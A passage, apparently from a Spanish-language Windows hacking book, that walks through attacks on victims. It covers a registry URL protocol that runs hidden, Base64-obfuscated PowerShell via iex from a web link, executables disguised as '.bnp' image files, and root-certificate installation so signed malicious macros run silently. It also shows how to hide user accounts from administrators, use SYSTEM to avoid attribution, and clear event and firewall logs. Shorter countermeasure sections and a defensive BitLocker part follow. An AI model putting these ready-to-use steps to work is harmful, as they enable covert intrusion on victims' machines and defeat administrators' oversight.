[HKEY_CURRENT_USER\Software\Classes\oc\shell\open\command] @= "powershell -noexit -Windowstyle hidden -command \"& {$C=’%1’;$C=$C.Remove(0,3);iex $C}\"" visitar una URL, el navegador comprobará en el registro si el protocolo solicitado es conocido. Si es el caso, leerá y ejecutará el valor por defecto de la clave .../[Protocolo]/SHELL/OPEN/Command.

Esta clave ejecutará un comando PowerShell en modo transparente:

powershell -noexit -Windowstyle hidden -command "& { ... }" parámetro recibido del navegador es la URL indicada, que corresponde a %1.

El código HTML de un enlace trampa:

El

Haga clic aquí Recibimos del navegador:

El

%1 = ’oc:ls’

comando PowerShell que hay que ejecutar, es por lo tanto, guardar solo el comando PowerShell:

ls. Eliminaremos los tres primeros caracteres para

$C=’%1’; $C=$C.Remove(0,3);

En este punto tenemos

$C = ”ls”. Ejecutamos seguidamente el comando:

Iex $C Antes de probar, debemos autorizar el protocolo en Internet Explorer. Si no, el usuario deberá confirmar si desea arrancar la aplicación.

Añada esta clave a su fichero antes de importarlo:

[HKEY_CURRENT_USER\Software\Microsoft\Internet

El

Explorer\ProtocolExecute\oc] "WarnOnOpen"=dword:00000000 usuario no deberá confirmar si desea ejecutar la aplicación en Internet Explorer.

b. Usar la modificación Para probar la modificación en su equipo, importe el fichero de registro creado. Haremos que se ejecute un comando PowerShell que enumere los ficheros y envíe la salida a un fichero: Ls > c:\temp\dir.txt

Cree una página

web, acceda a un foro o a un sitio SharePoint y añada un enlace con la siguiente URL:

Oc:ls > c:\temp\dir.txt resultado final en HTML debería parecerse a:

Pulse aquí

El

Haciendo clic en el enlace, PowerShell se abre brevemente y se crea un fichero en la ruta indicada.

c. Enmascarar el script

El script PowerShell es visible en claro en el código de la página HTML. Esto no resulta muy bonito. Corre el peligro de que un administrador descubra rápidamente el problema si sube este tipo de código en un sitio SharePoint o una intranet.

Esconderemos el código codificándolo en Base64. De esta manera ya no será legible en la página.

Para ello, codificaremos el código PowerShell en Base64 con la ayuda del programa que ya usamos para codificar el JavaScript en hexadecimal (se puede descargar desde la página Información).

El enlace de HTML debe parecerse ahora a lo siguiente:

Haga clic aquí La clave de registro del protocolo también debe modificarse para entender la codificación:

[HKEY_CURRENT_USER\Software\Classes\oc\shell\open\command] @="powershell -Windowstyle hidden -command \"& {$C=’%1’;$C=$C.Remove(0,3); $B= [System.Convert]:: FromBase64String($C); $D= [System.Text.Encoding]::UTF8.GetString($B); iex $D}\""

Solo atendemos a la parte de código PowerShell:

$C=’%1’; $C=$C.Remove(0,3); Usamos objetos del Framework .NET para transformar la cadena en Base64 en texto entendible:

$B= [System.Convert]::FromBase64String($C); $D= [System.Text.Encoding]::UTF8.GetString($B);

En este punto,

$D contiene el comando en texto claro. Lo ejecutamos:

Iex $D ; Para que PowerShell se ejecute al abrir la página, puede usar JavaScript en el encabezado de la página:

.... ¡Ya está! Hemos alcanzado el resultado deseado: ahora puede usar esta técnica siendo aún más discreto.

2. Añadir o modificar una extensión

Hemos visto cómo preparar el navegador para un ataque discreto ejecutado por una página web o un enlace. Ahora prepararemos el sistema operativo que se va a atacar por una vía diferente. Cuando el usuario recibe un adjunto como un ejecutable, no lo ejecuta forzosamente. Si recibe una imagen o un documento que no parece peligroso, hay muchas probabilidades de que lo abra sin desconfiar. Lo ideal es que el usuario abra una imagen y que esta ejecute código malicioso para terminar mostrando la imagen. Para ello, crearemos la extensión BNP.

Podríamos modificar la extensión BMP, pero esto haría que estos ficheros fuesen inutilizables. El usuario se percataría entonces de que algo pasa. El principio sigue siendo el mismo que el usado para un protocolo.

a. Modificar el registro

Para añadir la extensión BNP, modificaremos el registro del usuario de modo que este abra un fichero BNP como un ejecutable, y no como una imagen. Pero el parecido es suficiente para engañar al usuario. Abra un editor de texto y cree un fichero llamado bnpFile.reg.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\.bnp]

[HKEY_CURRENT_USER\Software\Classes\.bnp\DefaultIcon] @="%1"

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell]

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\Open]

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\Open\Command] @="\"%1\" %*" "IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\runas]

[HKEY_CURRENT_USER\Software\Classes\.bnp\Shell\runas\command] @="\"%1\" %*" "IsolatedCommand"="\"%1\" %*" Después de añadir estas claves al registro del objetivo, puede enviarle un fichero EXE renombrado como un fichero BNP.

Acuérdese de cambiar el icono del ejecutable para que se parezca al de un fichero normal y, durante la ejecución, de mostrar una imagen real para que el engaño no sea descubierto.

b. Usar la modificación

Desarrolle su propio ejecutable tomando como referencia ejemplos de este libro. Compile varias veces cambiando la imagen que se mostrará cada vez. Renombre los ficheros finales como imagexx.bnp.

Puede crear un paquete con IExpress:

En la medida en que utilice una aplicación creada con IExpress o un programa para el cual no domina la elección del icono, puede cambiarlo con ResHack (Resource Hacker).

Añada las «imágenes» renombradas en un fichero zip y envíelo a la víctima. Cada vez que el usuario abra una falsa imagen así modificada, arrancará al mismo tiempo un ejecutable o un script.

3. Añadir un certificado raíz

¿En qué medida sería un certificado raíz peligroso para el usuario y en qué nos ayudaría? Muy simple. Cuando una macro de un documento de Office es firmada por una fuente de confianza, se ejecuta por defecto sin ningún mensaje de aviso. Un documento de Office se torna entonces tan potente como un ejecutable. Cuando un sitio web que utiliza HTTPS se visita, el origen del certificado es controlado y si es reconocido como de confianza, no se le muestra al usuario ningún aviso para comunicarle que el sitio web no es de confianza. Añadir un certificado raíz es, por lo tanto, una buena manera de preparar el terreno para después enviar documentos trampa y tomar el control de una sesión.

Para añadir un certificado raíz al usuario:

certutil -user -addstore root root.cer

Una vez

ejecutado el comando en la sesión del usuario, puede crear un documento de Office malicioso firmando el código de la macro. Para firmar el código, al editar este último, vaya al menú Herramientas - Firma digital....

Elija el certificado obtenido de la misma autoridad de certificación que el instalado en el equipo de la víctima. Después guarde el documento en el formato antiguo, por ejemplo, DOC para un fichero de Word. Al abrir la víctima el documento, la macro se ejecutará directamente. Podrá enviar cualquier comando escondido en un documento inofensivo.

4. Esconder una cuenta de usuario

Cuando creamos un usuario para mantener el control de un PC o un servidor, esta acción deja obligatoriamente huellas. Lo ideal es que sea descubierto lo más tarde posible, así que necesitamos encontrar un medio para que esta cuenta se vuelva invisible a ojos del administrador.

a. Esconder un usuario local

En un PC o un servidor, cuando se crea una cuenta local, aparece con todas las demás en el inicio de sesión. Por lo tanto es complicado esconderla.

Una modificación del registro permite hacerla invisible. Para esconder un usuario con el nombre Pirata, abra el editor de texto y cree un nuevo ficheroUser.Reg:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Winlogon\SpecialAccounts\UserList] "pirata"=dword:00000000 Una vez la cuenta modificada, el usuario Pirata no aparecerá más en la pantalla del inicio de sesión.

b. Esconder un usuario en el Active Directory

Un administrador ve todos los usuarios creados en el directorio. Sin embargo, si un usuario se esconde en medio de numerosas unidades organizativas, será difícil para el administrador encontrar una cuenta sospechosa.

Al realizar una auditoría de seguridad en el Active Directory, muchas veces solo se buscan las cuentas de usuario que no tienen definida una fecha de expiración para su contraseña o los usuarios que pertenecen a ciertos grupos de seguridad, como el grupo administradores.

Para buscar un usuario cuya contraseña no disponga de fecha de expiración, puede utilizar las búsquedas comunes:

La búsqueda nos devuelve cinco resultados.

Por lo tanto, para esconderla mejor, modificaremos los permisos de la cuenta con el fin de que el administrador no disponga de la autorización para ver el objeto.

Para ello, active la vista avanzada de la consola Usuarios y equipo de Active Directory en el menúVista Funciones avanzadas. Desde este momento, tiene acceso a la pestaña Seguridad para los usuarios.

Debe bloquear cada cuenta de los administradores que se encuentre en el grupo Administradores,Administradores de la empresa o también Administradores del dominio. No debe bloquear directamente el grupo, ya que bloquearía totalmente el usuario.

Una vez modificados los permisos, Administrator en el caso anterior no encontrará la cuenta Pirata. Como habrá observado, basta con modificar los permisos para esconder la cuenta.

Esta vez solo se muestran cuatro resultados. La cuenta Pirata está escondida para el administrador.

5. Contramedidas

Los protocolos y las extensiones puede ser añadidas por defecto en las claves del registro donde el usuario tiene permisos de escritura. Simplemente, debe modificar los permisos de estas claves con la ayuda de las políticas de grupo para impedir que se añada un protocolo o una extensión.

Si el usuario no tiene permisos de administrador, no podrá esconder un usuario. El desafío, por lo tanto, es impedir que disponga de estos permisos. Los objetos del Active Directory, los ficheros, así como las claves de registro pueden ser auditadas usando NTFS. Conviene, pues, activar la auditoría para vigilar modificaciones anormales.

Los certificados raíz puede ser gestionados por una política de grupo. Puede también bloquear el uso de certutil.exe, lo que limitará los riesgos de que se añada un certificado raíz con un script.

Usar la virtualización 1. Hyper-V en Windows 8

Si su sistema operativo es Windows 8 Pro y su procesador ofrece las funcionalidades de virtualización, podrá instalar Hyper-V en su equipo. Hyper-V le permitirá crear un PC completo donde será el único administrador. Podrá esconder aplicaciones y falsos sitios web, y usarlo casi sin restricciones.

a. Instalar Hyper-V

Para instalar Hyper-V, pude usar el Panel de control - Programas - Activar o desactivar las características de Windows.

Puede instalarlo también desde la línea de comandos de PowerShell:

Enable-WindowsOptionalFeature -FeatureName Microsoft-Hyper-V -All

b.

-Online

Configurar Hyper-V

La configuración de Hyper-V no es muy complicada: basta con crear un switch conectado a cada tarjeta de red para después poder elegir por dónde entrará y saldrá el tráfico en su máquina virtual. Abra la consola de gestión de Hyper-V y haga clic en el nombre de su equipo. Vaya al menú Acción - Administrar los conmutadores virtuales y cree un switch virtual de tipo externo.

Cree un switch virtual de tipo externo para cada tarjeta de red instalada en su equipo. Después cree un switch virtual de tipo privado que le servirá para esconder su máquina virtual de la red el tiempo suficiente para hacer sus primeras pruebas.

c. Crear una máquina virtual

Una vez configurada la red, solo le queda crear una nueva máquina virtual. Abra la consola de gestión de Hyper-V y acceda al menú Acción - Nueva - Máquina virtual. Dé un nombre y elija si es preciso otro emplazamiento para su máquina virtual. Asigne la memoria a la futura máquina virtual, como mínimo 512 MB para Windows 7. Elija uno de los switchs creados anteriormente. Si no necesita red en el momento de la instalación, escoja de momento el switch privado. Dé un nombre y especifique el espacio máximo del disco duro de la futura máquina virtual.

Al crear un disco virtual al mismo tiempo que la máquina, este es por defecto dinámico. Hyper-V solo ocupará, por lo tanto, el espacio mínimo necesario en el disco duro físico. Pero el sistema virtualizado verá el espacio máximo atribuido en la configuración. Elija si desea utilizar un disco físico o una imagen ISO para instalar su máquina virtual.

La máquina virtual se encuentra ahora en la consola de gestión de Hyper-V. Para mostrar los parámetros de la máquina, haga clic con el botón derecho del ratón en ella y en Parámetros o acceda al menúAcción Parámetros. Algunos parámetros no son modificables una vez arrancada la máquina, pero el cambio de switch se puede realizar en cualquier momento. Haga doble clic en la máquina virtual para abrir la consola que permite ver la pantalla o selecciónela y vaya al menú Acción - Arrancar. Arranque la máquina e instale el sistema operativo.

d. Usurpar una dirección MAC

Los administradores pueden activar en el servidor DHCP, desde Windows 2008 R2, una función para filtrar las direcciones MAC autorizadas para asignarles un IP. Por lo tanto, es posible que nuestra máquina no obtenga una

IP o que no pueda conectarse a la red. Para resolver este problema, podemos configurar fácilmente una dirección MAC estática en la máquina virtual. Seleccione la máquina virtual en la consola y acceda al menú Acción - Configuración. Abra la ventana de características avanzadas de la tarjeta de red. Elija el modo Estática, escriba la dirección MAC que se ha de utilizar y marque la opción Habilitar suplantación de dirección MAC.

e. PowerShell para Hyper-V

Desde Windows 8 y Windows Server 2012, PowerShell es capaz de gestionar Hyper-V con funcionalidades avanzadas. Los comandos permiten obtener un script de todo lo que acabamos de hacer.

Para tener acceso a estos comandos, importe el módulo de Hyper-V:

Import-module Hyper-V Para crear una máquina virtual llamada PRUEBA:

New-VM -Name PRUEBA -Path "c:\temp" -MemoryStartupBytes 2GB -NewVHDPath "c:\temp\PRUEBA.vhdx" -NewVHDSizeBytes 80 GB -SwitchName "Privado" Para ver todos los comandos del módulo:

Get-command -module Hyper-V La salida resulta impresionante. Microsoft da a Hyper-V, gracias a estos comandos, una gran ventaja, ya que se puede hacer script de todo, desde la instalación del rol a la creación y el mantenimiento de las máquinas virtuales.

2. Otras herramientas de virtualización a. Otras plataformas de virtualización

Algunas empresas diseñan software que permite crear máquinas virtuales en un PC. Las dos más conocidas con VMware, con VMware Player y VMware Workstation, así como Oracle, con VirtualBox.

VMware es uno de los líderes del mercado en virtualización. La versión cliente no está a la altura de Hyper-V para Windows 8. Sin embargo, tiene la ventaja de funcionar en Windows 7 y en sistemas de 32 bits. La encontrará en el siguiente enlace:https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/5_0

VirtualBox es una aplicación que permite crear máquinas virtuales. También puede abrir diferentes formatos de disco duro virtual, como los VHD de Microsoft o el formato utilizado por VMware. El programa existe en versión portable. VirtualBox no necesita ningún procesador en particular para funcionar. Hasta un equipo de 32 bits no muy potente, gracias a esta aplicación, puede virtualizar máquinas. VirtualBox propone también una función de integración en el escritorio. Esto quiere decir que, una vez el plug-in Virtualbox se ha instalado en una máquina virtual, podrá abrir las aplicaciones integradas gráficamente aunque el sistema virtual sea Linux como una edición de Kali (antigua BackTrack). Puede descargar VirtualBox en el siguiente enlace: https://www.virtualbox.org/wiki/Downloads

b. Copiar un disco físico en uno virtual

Crear un disco virtual es una buena técnica para extraer los datos de un disco físico con el objetivo de salvaguardar o piratear. Para esto, existe una muy buena herramienta de Microsoft, Disk2VHD. Este software tiene la ventaja de poder crear una imagen de un disco físico aunque este esté en funcionamiento (on-line). Por lo tanto, sería técnicamente posible piratear todo un disco duro remotamente gracias al programa ya que además se pueden hacer scripts. También tiene la ventaja de poder copiar un equipo ya preparado para piratearlo y transformarlo en disco virtual compatible con Hyper-V.

Encontrará el programa en el siguiente enlace: http://technet.microsoft.com/en-us/sysinternals/ee656415.aspx

c. Conectar/crear un disco virtual directamente en Windows

Desde Windows 7, es posible crear y añadir un disco virtual desde la consola de gestión de discos o desde PowerShell. Esto representa una enorme ventaja para esconder programas. Puede añadir un disco virtual, herramientas de pirateo o documentos que necesite y desmontar el disco si no lo utiliza para evitar cualquier análisis del contenido por parte de un administrador. También podemos copiar el fichero VHD en una llave USB cifrada para montarlo en otro equipo cuando necesitemos ciertas herramientas. Para crear un disco virtual en su equipo, ejecute Diskmgmt.msc y acceda al menú Acción - Crear VHD. Elija el formato VHD en Windows 8; si no, el disco virtual no será compatible con Windows 7. Elija Expansión dinámica. Solo de este modo el espacio real utilizado se reservará en el disco duro.

Inicialice el disco y cree un Nuevo volumen simple.

Una vez completada esta etapa, tendrá acceso a su nuevo disco duro.

d. Impedir el acceso a su disco duro

Cuando un fichero se desconecta, el administrador podría conectarlo y analizarlo. Para evitar toda apertura intempestiva de su disco virtual, vamos a proteger el volumen con BitLocker.

Empiece por montar el disco si no aparece en el explorador de Windows. Para ello, haga doble clic en el fichero o, desde la consola de gestión de discos ( Diskmgmt.msc), elija Acción Montar un disco virtual. Para proteger el disco, vaya al explorador de Windows y haga clic con el botón derecho del ratón en el nuevo disco que acaba de crear o montar y en Activar BitLocker. Indique una contraseña lo suficientemente larga y compleja como para que no sea descubierta.

Después tendrá que elegir de qué manera almacenará la clave de recuperación de su disco. Elija lo que mejor le convenga.

BitLocker no puede activarse si tiene una partición de más de 1 GB. Además, no todas las versiones de Windows pueden gestionar BitLocker.

Una vez protegido el disco, será el único en poder acceder a su contenido. Cuando conecte el disco, el sistema operativo le pedirá la contraseña para descifrar el contenido. Sin esta o la clave de recuperación, no existe ninguna manera de ver lo que hay en él.

e. La virtualización de aplicaciones

En vez de virtualizar una máquina entera, es posible, para esconder una aplicación o para hacerla portable, utilizar una herramienta de virtualización de aplicaciones.

Los programas más extendidos en este dominio son ThinApp de VMware, App-V de Microsoft (antiguo Softgrid) y Workspace Virtualization de Symantec.

Este tipo de producto se utiliza, en principio, para no depender de un sistema operativo y poder migrar aplicaciones dependientes del entorno en una nueva infraestructura. Los usos malintencionados resultan también interesantes, como utilizar la versión de prueba de un programa de manera ilimitada, registrar una licencia única de un producto en Internet y usarlo en varios puestos de trabajo, hacer que una aplicación que necesite una instalación completa sea completamente portable y evidentemente esconder una aplicación en el sistema operativo para evitar que aparezca instalada, etc.

Sin embargo, estos programas de virtualización no son ni gratuitos ni fáciles de encontrar.

3. Contramedidas

La virtualización de aplicaciones o de un sistema operativo utiliza una aplicación, ya sea la consola de Hyper-V o la versión Player de VMware. Basta con bloquear estos programas y prohibir a los usuarios instalar programas no dándoles privilegios de administrador en sus PC. Si desea ser más restrictivo, puede impedir a los usuarios que utilicen programas no autorizados aplicando una restricción software. Hyper-V también puede inutilizarse si no autoriza el uso de funciones particulares del procesador como AMD-V o Intel VT, bloqueando estas funciones en la BIOS del equipo.

Utilizar la cuenta de sistema Hemos mostrado con anterioridad cómo utilizar la cuenta de sistema para arrancar aplicaciones en un servidor local o remoto mediante el escritorio remoto.

1. Utilizar la cuenta de sistema directamente

Cuando se conecta de esta manera a un equipo, todo lo que guarda una herramienta de monitoreo o simplemente lo que se guarda en los logs de Windows está marcado como modificado, eliminado o añadido por SYSTEM. Por lo tanto, será muy difícil para un administrador saber quién ha modificado las informaciones en el servidor.

El siguiente ejemplo lo demuestra al modificar la contraseña de una cuenta de usuario en un controlador de dominio:

El log da como usuario fuente de la modificación la cuenta de sistema, como se espera. La única oportunidad para el administrador de poder encontrar quién ha realizado la modificación es mirando el log del cortafuegos si no está desactivado o del cortafuegos que separa la red de usuarios de la red de servidores si este existe.

2. Utilizar la cuenta de sistema indirectamente

El uso de la cuenta particular SYSTEM en un controlador de dominio permite crear un usuario en Active Directory. Una cuenta así creada puede servir para efectuar todos los cambios. Va a integrarla en todos los grupos de seguridad necesarios para Lync y Exchange o para el acceso a documentos confidenciales. El capítulo Tomar el rol de administrador o de sistema explica cómo proceder.

Una vez realizados los cambios, basta con eliminar la cuenta de la misma manera que se ha añadido. Las huellas serán igual de difíciles de seguir para el administrador.

3. Contramedidas

Es complicado contrarrestar el uso de la cuenta de sistema. En principio debe impedir al usuario ser administrador, lo que le impedirá después tomar el rol de sistema.

Eliminar los logs

Los logs contienen generalmente las informaciones que permiten a un administrador encontrar quién ha realizado qué en el equipo. Le interesa, pues, borrarlos o modificarlos. Cuando un usuario se conecta a una aplicación, todo un conjunto de actores pueden intervenir para crear la conexión, para autenticarla, para garantizar la seguridad o también para almacenar informaciones de las transacciones como el origen, el destino o también el contenido. En su caso, debe realizar una lista y solo dejar informaciones difíciles de trazar.

Conectarse a un equipo para borrar sus huellas puede crear nuevas huellas que pueden, en ciertos casos, ser más fáciles de seguir. Por lo tanto, piénselo bien antes de conectarse y borrar todo. Windows monitorea ciertas modificaciones del sistema al modificar o añadir una aplicación, aunque la aplicación sea compatible. El administrador puede también elegir vigilar claves de registro, ficheros u objetos del Active Directory con la ayuda de la función de auditoría de seguridad. Esta función puede guardar los intentos de accesos válidos o inválidos en el log de seguridad del equipo donde la auditoría es activada. Estos logs son, por lo tanto, una fuente interesante para él, para poder encontrar el origen de un ataque. El cortafuego local puede, si la función es activada, almacenar todas las conexiones entrantes y salientes de un equipo. Por defecto, el log no está activado. También puede, dependiendo de la configuración, guardar el tráfico entre el navegador y un sitio web. Otras aplicaciones más complicadas de piratear, como un antivirus, un proxy, un switch o también un cortafuegos físico, pueden configurarse para guardar informaciones de sus acciones. Por lo tanto, debe ser muy prudente en la manera de proceder para atacar, ya que será complicado eliminar sus huellas.

1. Los logs de eventos de Windows

Para borrar los logs de eventos de Windows, puede usar varios medios. El más sencillo es, evidentemente, el de la interfaz gráfica. Para ello, ejecute eventvwr.msc y haga clic en el log que quiere borrar, y después acceda al menú de la derecha Acciones - Vaciar registro.

Si desea eliminar los logs usando un script, puede utilizar el comando PowerShell siguiente:

2. Los logs

clear-eventlog -log application, system, security -confirm:$false

del cortafuegos local

El cortafuegos de Windows se puede configurar para guardar las informaciones de las transacciones. Le recomendamos, por lo tanto, controlar si este está activado, parar el almacenamiento de las transacciones y borrar el log en caso de que sea necesario.

Para ello, puede buscar información mediante la interfaz gráfica abriendo la consola de gestión avanzada del cortafuegos. Ejecute WF.msc, y acceda al menú Acción - Propiedades. Pulse después el botón Personalizar enInicio de sesión.

Por defecto, el registro de logs no está C:\windows\system32\LogFiles\Firewall\pfirewall.log.

activo

y

los

logs

se

encuentran

en

la

ruta

Para controlar esto desde la línea de comandos, escriba:

Import-Module netsecurity Get-NetFirewallProfile ejemplo de la salida de los comandos:

Un

-Name

: Domain

Enabled

: False

DefaultInboundAction

: Allow

DefaultOutboundAction AllowInboundRules

: Allow : NotConfigured

AllowLocalFirewallRules

: NotConfigured

AllowLocalIPsecRules

: NotConfigured

AllowUserApps

: NotConfigured

AllowUserPorts

: NotConfigured

AllowUnicastResponseToMulticast : NotConfigured NotifyOnListen

: True

EnableStealthModeForIPsec LogFileName

: NotConfigured

: %systemroot%\system32\LogFiles \Firewall\pfirewall.log

LogMaxSizeKilobytes

: 4096

LogAllowed

: False

LogBlocked

: False

LogIgnored

: NotConfigured

DisabledInterfaceAliases

: {NotConfigured}

También es posible utilizar Netsh desde cmd y después adv, pero Microsoft recomienda utilizar PowerShell. Existen muchas posibilidades de que Netsh desaparezca a favor de PowerShell en las próximas versiones de Windows.

3. Los logs de los servicios web

Los servicios web pueden configurarse para conservar las huellas de las conexiones a estos. Para controlar si está configurado para almacenar los logs, y saber dónde se encuentran esos logs, puede utilizar la interfaz gráfica. Desde las herramientas de administración del Panel de control, abra la consola de Administración de servicios web (IIS), haga clic en el sitio web que desea controlar y luego en Registro.

Por defecto, los logs se activan si el módulo de logs está instalado. Generalmente lo podrá encontrar en: C:\windows\inetpub\logs\logFiles\.

Puede desactivarlos y suprimir los ficheros del directorio.

a. Contramedidas

Los ficheros de logs deben guardarse regularmente con el fin de que no puedan ser manipulados fácilmente. Puede utilizar una función que existe desde Windows Server 2008, que consiste en recuperar los logs de Windows de varios equipos en uno solo usando un registro. Piense en crear un script de copia de los logs de los servidores web si estos logs no se almacenan. Otra opción consiste en escribir los logs en un directorio donde la eliminación de ficheros está prohibida. Solo se activan los permisos de lectura y escritura. Puede realizar esto denegando la eliminación de ficheros en los permisos NTFS en las propiedades avanzadas de una carpeta.

Los medios integrados en los entornos Microsoft Microsoft realiza enormes esfuerzos para dar a los administradores los medios para proteger sus sistemas. Podemos afirmar que, desde algunos años, estos esfuerzos han dado sus frutos y dan a los usuarios finales herramientas extraordinariamente protegidas. Solo les queda a los administradores controlar estas herramientas y configurarlas adecuadamente. Este libro no está dedicado al aprendizaje completo de estos medios de protección, sino solo a profundizar en algunos puntos importantes, teniendo en cuenta que debe conocer, al menos en parte, la manera de administrar los sistemas de Windows. Con estos elementos dispondrá al menos de las claves esenciales para proteger mejor su entorno. Los medios de instalación y configuración de los productos pueden variar dependiendo de la versión que utilice. Si algunas explicaciones le parecen demasiado breves e igual hasta insuficientes o no corresponden a la versión del programa que tiene, le invitamos a consultar los numerosos libros de Ediciones ENI que tratan temáticas como Active Directory o Administración de Servidores de Windows 2012. Estos libros le darán informaciones más amplias sobre la configuración de servicios y medios de defensa en una infraestructura Windows Server.

Algunos términos se han dejado voluntariamente en su versión inglesa para facilitar la búsqueda de documentación en Internet. Las informaciones pertinentes no suelen traducirse sistemáticamente.

1. Impedir el arranque del sistema

Se habrá dado cuenta de que, si un usuario puede arrancar su equipo con un DVD tan inofensivo como el de instalación de Windows, podrá tomar el rol de sistema o de administrador del equipo que maneja. Debe, en la medida de lo posible, evitar que pueda modificar un servidor offline o, peor, piratear un controlador de dominio.

a. SysKey

Para impedir a otro usuario arrancar un servidor sin autorización, es posible activar Syskey. Esta clave es utilizada por el sistema operativo para leer el hash de las contraseñas en Windows. Por defecto, está almacenada en el registro. Cuando un sistema arranca, esta clave es leída automáticamente, y los servicios arrancan también; después el usuario puede autenticarse. Puede, para proteger un servidor o su propio equipo, modificar el Syskey y elegir no guardarlo en el registro. Sin embargo, debe ser administrador del equipo para modificar esta clave. Ejecute Syskey.exe y pulse el botón Actualizar. Elija y defina la propiedad Inicio con contraseña. Reinicie su equipo. Al arrancar, antes de poder indicar un nombre de usuario y una contraseña, deberá indicar la contraseña definida en el punto anterior.

Aquí ya dispone de una primera protección contra el pirateo que hemos visto en los primeros capítulos y que consistía en evitar la autenticación.

b. Concepto y requisitos de BitLocker

Respecto a la protección que hemos creado con Syskey, el usuario podrá modificar el sistema operativo offline, pero no podrá arrancarlo mientras una persona no ingrese la contraseña de Syskey. Sin embargo, este tipo de seguridad no se puede utilizar en un controlador de dominio o un servidor de aplicaciones, ya que la primera cosa que hará el administrador cuando vea que se ha reiniciado el servidor es indicar la contraseña de Syskey para ver los logs de eventos. El pirata podrá en este momento realizar su ataque.

Con objeto de proteger mejor los servidores y los PC, para impedir que los usuarios tomen el rol de administrador en un servidor o en su propio equipo, debe poder impedir la modificación offline del sistema operativo. Para ello, Microsoft propone desde Windows Vista la posibilidad de cifrar todo el disco con BitLocker.

BitLocker solo descifra los datos del disco si el disco de arranque está emparejado al equipo correcto. En otras palabras: •

Si desmonta el disco para ponerlo como disco secundario en otro equipo, solo tendrá acceso a los datos cifrados.



Si arranca el PC por medio de un DVD de instalación o de un CD de arranque, solo tendrá acceso a los datos cifrados.



Si arranca el sistema normal en el equipo físico, BitLocker descifra sus datos y podrá usar su PC con normalidad.

El objetivo de proteger es impedir toda modificación del sistema operativo offline. Para poder conseguir esto, BitLocker se basa en un módulo TPM (Trusted Platform Modules), como mínimo la versión 1.2, o una llave USB para almacenar la clave de descifrado. Una clave de recuperación puede imprimirse o almacenarse en el Active Directory, para que el servicio informático pueda recuperar un sistema cifrado.

c. Almacenar las claves de recuperación en el Active Directory

Antes del despliegue de BitLocker en su empresa, debe planificarlo. Uno de los puntos importantes de esta planificación es la recuperación de los datos cifrados. ¿Cómo descifrar un disco duro de un servidor o de un ordenador que no arranca para recuperar los datos almacenados?

Microsoft propone Active Directory como solución centralizada de almacena-miento de las claves de descifrado de los discos. Basta con configurar las políticas de grupo adecuadas para que, en el momento de la configuración de BitLocker en un equipo, este transmita la clave de recuperación al Active Directory, que la guarda como atributo en la cuenta del equipo. Para ello, abra la consola de gestión de las políticas de grupo. Añada una directiva de grupo al nivel del dominio. Acceda a los parámetros de Configuración del equipo - Modelos de administración - Cifrar el disco con BitLocker. Active la directiva Guardar las informaciones de recuperación de BitLocker en los servicios del dominio Active Directory.

Para ver las claves de recuperación guardadas en el Active Directory, debe instalar una herramienta de administración en el PC donde se gestiona el Active Directory o directamente en el controlador de dominio. En el controlador de dominio, añada la funcionalidad de servidor en Gestión de las herramientas de administración del servidor remoto - Herramientas de administraciones de funcionalidades - Visualizar la contraseña de recuperación de BitLocker. Una vez instalada la herramienta, abra la consola de Usuarios y equipos de Active Directory. Abra las propiedades del equipo que desea recuperar. Vaya a la pestaña Recuperación BitLocker.

También puede buscar una clave de recuperación a partir de los 8 primeros caracteres del ID de contraseña haciendo clic con el botón derecho en el dominio y en Buscar una contraseña de recuperación de BitLocker.

d. Activar BitLocker en un equipo

BitLocker puede activarse para un disco duro perteneciente al sistema operativo o también para los discos duros extraíbles, como una llave USB. La activación es muy similar para los dos tipos. Para activar BitLocker, vaya al Panel de control - Sistema y seguridad - Cifrado de unidad BitLocker. Haga clic en Activar BitLocker. Un asistente para el almacenamiento de la contraseña se abre, en función del tipo de disco. Después se le ofrece elegir cómo almacenar la clave de recuperación (esto depende de las políticas de grupo aplicadas). Finalmente, podrá empezar con el cifrado.

Al cifrar, puede tranquilamente reiniciar el equipo sin encontrar ningún problema. Si la política de grupo para el almacenamiento de Active Directory está configurada, la clave de recuperación estará almacenada ahí antes del inicio del cifrado.

e. Configurar un código PIN

Cuando el disco duro está en el equipo correcto, BitLocker descifra el disco y el sistema operativo arranca directamente. Sin embargo, esto quiere decir que el disco es descifrado y que el equipo puede ser expuesto por los servicios instalados o eventualmente por la técnica que hemos estudiado en el capítulo Tomar el rol de administrador o de sistema, que permite el acceso a un equipo sin login ni contraseña. Para garantizar mejor la seguridad del equipo, BitLocker nos propone añadir un código PIN. Este código permite proteger el equipo contra un arranque no deseado.

Puede configurar los parámetros de seguridad para el uso de un PIN con BitLocker usando las políticas de grupo. Encontrará estos parámetros en Configuración del equipo - Modelos de administración - Cifrado del lector BitLocker.

La modificación del código PIN BitLocker necesita permisos de administradores, lo que puede ser problemático si debe dar estos permisos a sus usuarios. Para paliar este problema, este libro le facilita el código fuente de una aplicación que permite la modificación del código PIN para un usuario que no es administrador.

Para configurar un código PIN en su equipo: Vaya al Panel de control - Sistema y seguridad - Cifrado de unidad BitLocker. Haga clic en Activar BitLocker. Haga clic en Definir un código PIN de arranque. El resto del proceso es similar a lo que hemos visto para activar BitLocker.

Para gestionar BitLocker en la línea de comandos, puede usar manage-bde.

Por ejemplo, aquí, para eliminar el código PIN:

manage-bde -protectors -delete C: -type TPMAndPIN

2.

Instalar y configurar un controlador de dominio en modo de solo lectura

Desde Windows Server 2008 R2, Microsoft ha aportado una novedad interesante en términos de seguridad de los controladores de dominio, los RODC (Read Only Domain Controller). Imagine tener que gestionar numerosas sucursales, cada una con la necesidad de tener un controlador de dominio. Debería, en este caso, garantizar que nadie pueda arrancar en uno de sus controladores de dominio con un DVD de instalación; si no, el pirata podría irse con todas las contraseñas de todos los usuarios, incluidas las de los administradores del dominio. O también podría corromper la base de datos de Active Directory añadiendo un usuario, modificando la pertenencia a los grupos, y todo esto sería replicado en todas las sucursales y en las oficinas centrales.

